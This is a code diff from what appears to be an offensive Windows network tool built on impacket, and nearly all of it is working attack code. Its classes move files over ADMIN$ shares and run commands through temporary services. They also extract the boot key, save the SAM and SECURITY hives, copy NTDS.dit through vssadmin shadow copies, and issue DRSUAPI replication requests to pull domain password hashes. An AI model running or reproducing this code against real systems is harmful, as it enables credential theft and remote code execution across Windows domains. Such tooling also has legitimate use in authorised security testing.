return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
|
|
@ -1,83 +0,0 @@
|
|||
from time import strftime, localtime
|
||||
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
|
||||
import settings
|
||||
|
||||
class RemoteFile:
|
||||
def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
|
||||
self.__smbConnection = smbConnection
|
||||
self.__share = share
|
||||
self.__access = access
|
||||
self.__fileName = fileName
|
||||
self.__tid = self.__smbConnection.connectTree(share)
|
||||
self.__fid = None
|
||||
self.__currentOffset = 0
|
||||
|
||||
def open(self):
|
||||
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
|
||||
|
||||
def seek(self, offset, whence):
|
||||
# Implement whence, for now it's always from the beginning of the file
|
||||
if whence == 0:
|
||||
self.__currentOffset = offset
|
||||
|
||||
def read(self, bytesToRead):
|
||||
if bytesToRead > 0:
|
||||
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
|
||||
self.__currentOffset += len(data)
|
||||
return data
|
||||
return ''
|
||||
|
||||
def close(self):
|
||||
if self.__fid is not None:
|
||||
self.__smbConnection.closeFile(self.__tid, self.__fid)
|
||||
self.__fid = None
|
||||
|
||||
def delete(self):
|
||||
self.__smbConnection.deleteFile(self.__share, self.__fileName)
|
||||
|
||||
def tell(self):
|
||||
return self.__currentOffset
|
||||
|
||||
def __str__(self):
|
||||
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
|
||||
|
||||
class RemoteFileSystem:
|
||||
|
||||
def __init__(self, host, smbconnection, logger):
|
||||
self.__host = host
|
||||
self.__smbconnection = smbconnection
|
||||
self.__logger = logger
|
||||
|
||||
def download(self):
|
||||
out = open(settings.args.download[1], 'wb')
|
||||
self.__smbconnection.getFile(settings.args.share, settings.args.download[0], out.write)
|
||||
self.__logger.success("Downloaded file")
|
||||
|
||||
def upload(self):
|
||||
up = open(settings.args.upload[0] , 'rb')
|
||||
self.__smbconnection.putFile(settings.args.share, settings.args.upload[1], up.read)
|
||||
self.__logger.success("Uploaded file")
|
||||
|
||||
def delete(self):
|
||||
self.__smbconnection.deleteFile(settings.args.share, settings.args.delete)
|
||||
self.__logger.success("Deleted file")
|
||||
|
||||
def list(self):
|
||||
if settings.args.list == '.':
|
||||
path = '*'
|
||||
else:
|
||||
path = settings.args.list + '/*'
|
||||
|
||||
dir_list = self.__smbconnection.listPath(settings.args.share.decode('utf-8'), path.decode('utf-8'))
|
||||
#normalize output
|
||||
if path == '*':
|
||||
path = settings.args.share
|
||||
elif path != '*':
|
||||
path = settings.args.share + '/' + path[:-2]
|
||||
|
||||
self.__logger.success(u"Contents of {}:".format(path.decode('utf-8')))
|
||||
for f in dir_list:
|
||||
self.__logger.results(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
|
||||
f.get_filesize(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
|
||||
f.get_longname()))
|
|
@ -0,0 +1,508 @@
|
|||
import logging
|
||||
import random
|
||||
import string
|
||||
from gevent import sleep
|
||||
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from core.credentials.ntds import NTDSHashes
|
||||
from binascii import unhexlify, hexlify
|
||||
from core.remotefile import RemoteFile
|
||||
|
||||
class RemoteOperations:
|
||||
def __init__(self, smbConnection, doKerberos):
|
||||
self.__smbConnection = smbConnection
|
||||
self.__smbConnection.setTimeout(5*60)
|
||||
self.__serviceName = 'RemoteRegistry'
|
||||
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
||||
self.__rrp = None
|
||||
self.__regHandle = None
|
||||
|
||||
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
|
||||
self.__samr = None
|
||||
self.__domainHandle = None
|
||||
self.__domainName = None
|
||||
|
||||
self.__drsr = None
|
||||
self.__hDrs = None
|
||||
self.__NtdsDsaObjectGuid = None
|
||||
self.__ppartialAttrSet = None
|
||||
self.__prefixTable = []
|
||||
self.__doKerberos = doKerberos
|
||||
|
||||
self.__bootKey = ''
|
||||
self.__disabled = False
|
||||
self.__shouldStop = False
|
||||
self.__started = False
|
||||
|
||||
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
||||
self.__scmr = None
|
||||
self.__tmpServiceName = None
|
||||
self.__serviceDeleted = False
|
||||
|
||||
self.__batchFile = '%TEMP%\\execute.bat'
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__output = '%SYSTEMROOT%\\Temp\\__output'
|
||||
self.__answerTMP = ''
|
||||
|
||||
def __connectSvcCtl(self):
|
||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
|
||||
def __connectWinReg(self):
|
||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
self.__rrp = rpc.get_dce_rpc()
|
||||
self.__rrp.connect()
|
||||
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
def connectSamr(self, domain):
|
||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
self.__samr = rpc.get_dce_rpc()
|
||||
self.__samr.connect()
|
||||
self.__samr.bind(samr.MSRPC_UUID_SAMR)
|
||||
resp = samr.hSamrConnect(self.__samr)
|
||||
serverHandle = resp['ServerHandle']
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
|
||||
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
|
||||
self.__domainHandle = resp['DomainHandle']
|
||||
self.__domainName = domain
|
||||
|
||||
def __connectDrds(self):
|
||||
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc = transport.DCERPCTransportFactory(stringBinding)
|
||||
if hasattr(rpc, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
|
||||
rpc.set_kerberos(self.__doKerberos)
|
||||
self.__drsr = rpc.get_dce_rpc()
|
||||
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
if self.__doKerberos:
|
||||
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.__drsr.connect()
|
||||
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
|
||||
|
||||
request = drsuapi.DRSBind()
|
||||
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
|
||||
drs = drsuapi.DRS_EXTENSIONS_INT()
|
||||
drs['cb'] = len(drs) #- 4
|
||||
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
|
||||
drs['SiteObjGuid'] = drsuapi.NULLGUID
|
||||
drs['Pid'] = 0
|
||||
drs['dwReplEpoch'] = 0
|
||||
drs['dwFlagsExt'] = 0
|
||||
drs['ConfigObjGUID'] = drsuapi.NULLGUID
|
||||
drs['dwExtCaps'] = 127
|
||||
request['pextClient']['cb'] = len(drs)
|
||||
request['pextClient']['rgb'] = list(str(drs))
|
||||
resp = self.__drsr.request(request)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('DRSBind() answer')
|
||||
resp.dump()
|
||||
|
||||
self.__hDrs = resp['phDrs']
|
||||
|
||||
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
|
||||
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('DRSDomainControllerInfo() answer')
|
||||
resp.dump()
|
||||
|
||||
if resp['pmsgOut']['V2']['cItems'] > 0:
|
||||
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
|
||||
else:
|
||||
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
|
||||
raise Exception('Fatal, aborting')
|
||||
|
||||
def getDrsr(self):
|
||||
return self.__drsr
|
||||
|
||||
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
|
||||
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
|
||||
if self.__drsr is None:
|
||||
self.__connectDrds()
|
||||
|
||||
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
|
||||
return resp
|
||||
|
||||
def DRSGetNCChanges(self, userEntry):
|
||||
if self.__drsr is None:
|
||||
self.__connectDrds()
|
||||
|
||||
request = drsuapi.DRSGetNCChanges()
|
||||
request['hDrs'] = self.__hDrs
|
||||
request['dwInVersion'] = 8
|
||||
|
||||
request['pmsgIn']['tag'] = 8
|
||||
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
|
||||
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
|
||||
|
||||
dsName = drsuapi.DSNAME()
|
||||
dsName['SidLen'] = 0
|
||||
dsName['Guid'] = drsuapi.NULLGUID
|
||||
dsName['Sid'] = ''
|
||||
dsName['NameLen'] = len(userEntry)
|
||||
dsName['StringName'] = (userEntry + '\x00')
|
||||
|
||||
dsName['structLen'] = len(dsName.getData())
|
||||
|
||||
request['pmsgIn']['V8']['pNC'] = dsName
|
||||
|
||||
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
|
||||
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
|
||||
|
||||
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
|
||||
|
||||
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
|
||||
request['pmsgIn']['V8']['cMaxObjects'] = 1
|
||||
request['pmsgIn']['V8']['cMaxBytes'] = 0
|
||||
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
|
||||
if self.__ppartialAttrSet is None:
|
||||
self.__prefixTable = []
|
||||
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
|
||||
self.__ppartialAttrSet['dwVersion'] = 1
|
||||
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
|
||||
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
|
||||
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
|
||||
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
|
||||
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
|
||||
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
|
||||
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
|
||||
|
||||
return self.__drsr.request(request)
|
||||
|
||||
def getDomainUsers(self, enumerationContext=0):
|
||||
if self.__samr is None:
|
||||
self.connectSamr(self.getMachineNameAndDomain()[1])
|
||||
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
|
||||
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
|
||||
samr.USER_SERVER_TRUST_ACCOUNT |\
|
||||
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
|
||||
enumerationContext=enumerationContext)
|
||||
except DCERPCException, e:
|
||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
return resp
|
||||
|
||||
def ridToSid(self, rid):
|
||||
if self.__samr is None:
|
||||
self.connectSamr(self.getMachineNameAndDomain()[1])
|
||||
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
|
||||
return resp['Sid']
|
||||
|
||||
|
||||
def getMachineNameAndDomain(self):
|
||||
if self.__smbConnection.getServerName() == '':
|
||||
# No serverName.. this is either because we're doing Kerberos
|
||||
# or not receiving that data during the login process.
|
||||
# Let's try getting it through RPC
|
||||
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
dce = rpc.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(wkst.MSRPC_UUID_WKST)
|
||||
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
||||
dce.disconnect()
|
||||
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
|
||||
else:
|
||||
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
||||
|
||||
def getDefaultLoginAccount(self):
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
||||
keyHandle = ans['phkResult']
|
||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
||||
username = dataValue[:-1]
|
||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
||||
domain = dataValue[:-1]
|
||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
||||
if len(domain) > 0:
|
||||
return '%s\\%s' % (domain,username)
|
||||
else:
|
||||
return username
|
||||
except:
|
||||
return None
|
||||
|
||||
def getServiceAccount(self, serviceName):
|
||||
try:
|
||||
# Open the service
|
||||
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
||||
serviceHandle = ans['lpServiceHandle']
|
||||
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
||||
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
||||
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
||||
if account.startswith('.\\'):
|
||||
account = account[2:]
|
||||
return account
|
||||
except Exception, e:
|
||||
logging.error(e)
|
||||
return None
|
||||
|
||||
def __checkServiceStatus(self):
|
||||
# Open SC Manager
|
||||
ans = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scManagerHandle = ans['lpScHandle']
|
||||
# Now let's open the service
|
||||
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
||||
self.__serviceHandle = ans['lpServiceHandle']
|
||||
# Let's check its status
|
||||
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
||||
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
||||
logging.info('Service %s is in stopped state'% self.__serviceName)
|
||||
self.__shouldStop = True
|
||||
self.__started = False
|
||||
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
||||
logging.debug('Service %s is already running'% self.__serviceName)
|
||||
self.__shouldStop = False
|
||||
self.__started = True
|
||||
else:
|
||||
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
||||
|
||||
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
||||
if self.__started is False:
|
||||
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
||||
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
||||
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
|
||||
self.__disabled = True
|
||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
||||
logging.info('Starting service %s' % self.__serviceName)
|
||||
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
||||
sleep(1)
|
||||
|
||||
def enableRegistry(self):
|
||||
self.__connectSvcCtl()
|
||||
self.__checkServiceStatus()
|
||||
self.__connectWinReg()
|
||||
|
||||
def __restore(self):
|
||||
# First of all stop the service if it was originally stopped
|
||||
if self.__shouldStop is True:
|
||||
logging.info('Stopping service %s' % self.__serviceName)
|
||||
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
if self.__disabled is True:
|
||||
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
|
||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
||||
if self.__serviceDeleted is False:
|
||||
# Check again the service we created does not exist, starting a new connection
|
||||
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
||||
try:
|
||||
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
||||
if hasattr(rpc, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
||||
rpc.set_kerberos(self.__doKerberos)
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
# Open SC Manager
|
||||
ans = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scManagerHandle = ans['lpScHandle']
|
||||
# Now let's open the service
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
||||
rpc.disconnect()
|
||||
except Exception, e:
|
||||
# If service is stopped it'll trigger an exception
|
||||
# If service does not exist it'll trigger an exception
|
||||
# So. we just wanna be sure we delete it, no need to
|
||||
# show this exception message
|
||||
pass
|
||||
|
||||
def finish(self):
|
||||
self.__restore()
|
||||
if self.__rrp is not None:
|
||||
self.__rrp.disconnect()
|
||||
if self.__drsr is not None:
|
||||
self.__drsr.disconnect()
|
||||
if self.__samr is not None:
|
||||
self.__samr.disconnect()
|
||||
if self.__scmr is not None:
|
||||
self.__scmr.disconnect()
|
||||
|
||||
def getBootKey(self):
|
||||
bootKey = ''
|
||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
||||
self.__regHandle = ans['phKey']
|
||||
for key in ['JD','Skew1','GBG','Data']:
|
||||
logging.debug('Retrieving class info for %s'% key)
|
||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
||||
bootKey = bootKey + ans['lpClassOut'][:-1]
|
||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
||||
|
||||
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
||||
|
||||
bootKey = unhexlify(bootKey)
|
||||
|
||||
for i in xrange(len(bootKey)):
|
||||
self.__bootKey += bootKey[transforms[i]]
|
||||
|
||||
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
|
||||
|
||||
return self.__bootKey
|
||||
|
||||
def checkNoLMHashPolicy(self):
|
||||
logging.debug('Checking NoLMHash Policy')
|
||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
||||
self.__regHandle = ans['phKey']
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
||||
keyHandle = ans['phkResult']
|
||||
try:
|
||||
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
||||
except:
|
||||
noLMHash = 0
|
||||
|
||||
if noLMHash != 1:
|
||||
logging.debug('LMHashes are being stored')
|
||||
return False
|
||||
|
||||
logging.debug('LMHashes are NOT being stored')
|
||||
return True
|
||||
|
||||
def __retrieveHive(self, hiveName):
|
||||
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
||||
regHandle = ans['phKey']
|
||||
try:
|
||||
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
||||
except:
|
||||
raise Exception("Can't open %s hive" % hiveName)
|
||||
keyHandle = ans['phkResult']
|
||||
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
||||
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
||||
# Now let's open the remote file, so it can be read later
|
||||
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
||||
return remoteFileName
|
||||
|
||||
def saveSAM(self):
|
||||
logging.debug('Saving remote SAM database')
|
||||
return self.__retrieveHive('SAM')
|
||||
|
||||
def saveSECURITY(self):
|
||||
logging.debug('Saving remote SECURITY database')
|
||||
return self.__retrieveHive('SECURITY')
|
||||
|
||||
def __executeRemote(self, data):
|
||||
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
self.__serviceDeleted = False
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
self.__serviceDeleted = True
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
def __answer(self, data):
|
||||
self.__answerTMP += data
|
||||
|
||||
def __getLastVSS(self):
|
||||
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
||||
sleep(5)
|
||||
tries = 0
|
||||
while True:
|
||||
try:
|
||||
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
||||
break
|
||||
except Exception, e:
|
||||
if tries > 30:
|
||||
# We give up
|
||||
raise Exception('Too many tries trying to list vss shadows')
|
||||
if str(e).find('SHARING') > 0:
|
||||
# Stuff didn't finish yet.. wait more
|
||||
sleep(5)
|
||||
tries +=1
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
|
||||
lines = self.__answerTMP.split('\n')
|
||||
lastShadow = ''
|
||||
lastShadowFor = ''
|
||||
|
||||
# Let's find the last one
|
||||
# The string used to search the shadow for drive. Wondering what happens
|
||||
# in other languages
|
||||
SHADOWFOR = 'Volume: ('
|
||||
|
||||
for line in lines:
|
||||
if line.find('GLOBALROOT') > 0:
|
||||
lastShadow = line[line.find('\\\\?'):][:-1]
|
||||
elif line.find(SHADOWFOR) > 0:
|
||||
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
||||
|
||||
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
||||
|
||||
return lastShadow, lastShadowFor
|
||||
|
||||
def saveNTDS(self):
|
||||
logging.info('Searching for NTDS.dit')
|
||||
# First of all, let's try to read the target NTDS.dit registry entry
|
||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
||||
regHandle = ans['phKey']
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
||||
keyHandle = ans['phkResult']
|
||||
except:
|
||||
# Can't open the registry path, assuming no NTDS on the other end
|
||||
return None
|
||||
|
||||
try:
|
||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
||||
ntdsLocation = dataValue[:-1]
|
||||
ntdsDrive = ntdsLocation[:2]
|
||||
except:
|
||||
# Can't open the registry path, assuming no NTDS on the other end
|
||||
return None
|
||||
|
||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
||||
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
||||
|
||||
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
||||
# Get the list of remote shadows
|
||||
shadow, shadowFor = self.__getLastVSS()
|
||||
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
||||
# No shadow, create one
|
||||
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
||||
shadow, shadowFor = self.__getLastVSS()
|
||||
shouldRemove = True
|
||||
if shadow == '':
|
||||
raise Exception('Could not get a VSS')
|
||||
else:
|
||||
shouldRemove = False
|
||||
|
||||
# Now copy the ntds.dit to the temp directory
|
||||
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
||||
|
||||
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
||||
|
||||
if shouldRemove is True:
|
||||
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
||||
|
||||
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
||||
|
||||
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
||||
|
||||
return remoteFileName
|
File diff suppressed because it is too large
Load Diff
|
@ -1,257 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# [MS-SCMR] services common functions for manipulating services
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC.
|
||||
# TODO:
|
||||
# [ ] Check errors
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import codecs
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.ndr import NULL
|
||||
from impacket.crypto import *
|
||||
|
||||
|
||||
class SVCCTL:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, logger, username, password, domain, protocol, action, aesKey, kerb, ntlmhash, options):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys()
|
||||
self.__options = options
|
||||
self.__action = action.upper()
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = kerb
|
||||
self.__protocol = protocol
|
||||
self.__addr = None
|
||||
self.__port = None
|
||||
self.__logger = logger
|
||||
|
||||
if ntlmhash is not None:
|
||||
self.__lmhash, self.__nthash = ntlmhash.split(':')
|
||||
|
||||
def run(self, addr):
|
||||
|
||||
# Try all requested protocols until one works.
|
||||
protodef = SVCCTL.KNOWN_PROTOCOLS[self.__protocol]
|
||||
port = protodef[1]
|
||||
self.__port = port
|
||||
|
||||
logging.info("Trying protocol %s..." % self.__protocol)
|
||||
stringbinding = protodef[0] % addr
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(port)
|
||||
rpctransport.set_kerberos(self.__doKerberos)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
try:
|
||||
self.__addr = addr
|
||||
self.doStuff(rpctransport)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
|
||||
def doStuff(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
#dce.set_credentials(self.__username, self.__password)
|
||||
dce.connect()
|
||||
#dce.set_max_fragment_size(1)
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
|
||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||||
#rpc = svcctl.DCERPCSvcCtl(dce)
|
||||
rpc = dce
|
||||
ans = scmr.hROpenSCManagerW(rpc)
